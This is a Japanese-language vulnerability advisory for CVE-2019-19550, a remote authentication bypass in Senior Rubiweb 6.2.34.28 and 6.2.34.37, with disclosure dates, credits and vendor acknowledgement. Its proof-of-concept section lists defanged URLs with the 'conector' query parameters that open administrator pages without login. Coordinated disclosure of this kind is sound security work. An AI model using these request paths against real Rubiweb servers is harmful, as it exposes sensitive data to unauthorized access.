CVE-2019-19550
[説明]
Senior Rubiweb 6.2.34.28 および 6.2.34.37 におけるリモート認証バイパスにより、脆弱なバージョンを使用する影響を受けたユーザーの機密情報への管理者アクセスが許可されます。攻撃者は正しいURLを提供するだけで済みます。
[重要な日付]
- ベンダーへの通知: 2019-12-02
- 公開日: 2020-01-30
[脆弱性の種類]
不適切なアクセス制御
[製品ベンダー]
Senior
[影響を受ける製品コードベース]
- Rubiweb - 6.2.34.37
- Rubiweb - 6.2.34.28
- 同じファミリーの他のバージョンも影響を受ける可能性があります（未検証）
[影響を受けるコンポーネント]
Rubiweb
[攻撃タイプ]
リモート
[影響 情報漏洩]
はい
[攻撃ベクトル]
機密情報へのアクセスは特別な要件なしで公開されています（正しいURIのみが必要）
[ベンダーは脆弱性を確認または認識していますか？]
はい
[PoC - 概念実証]
- 影響を受ける製品の存在とバージョンを確認するために、認証済みポータルに接続してみてください:
- hXXp://subdomain.customer.tld:8080/rubiweb/
- 脆弱なページにアクセスする（認証なしの管理者）:
- hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=EXESENHA&SIS=FP&LOGINKIND=1
- hXXp://subdomain.customer.tld:8080/rubiweb/conector?ACAO=ENTRANCEREL&SIS=FP&NOME=FPIN103.ANU
[発見者]
Mauricio Santos (UnderProtection R&D) および Hesron Hori (UnderProtection R&D)
[謝辞]
Senior - 協調的な開示に協力したベンダーの情報セキュリティチーム
[参考文献]
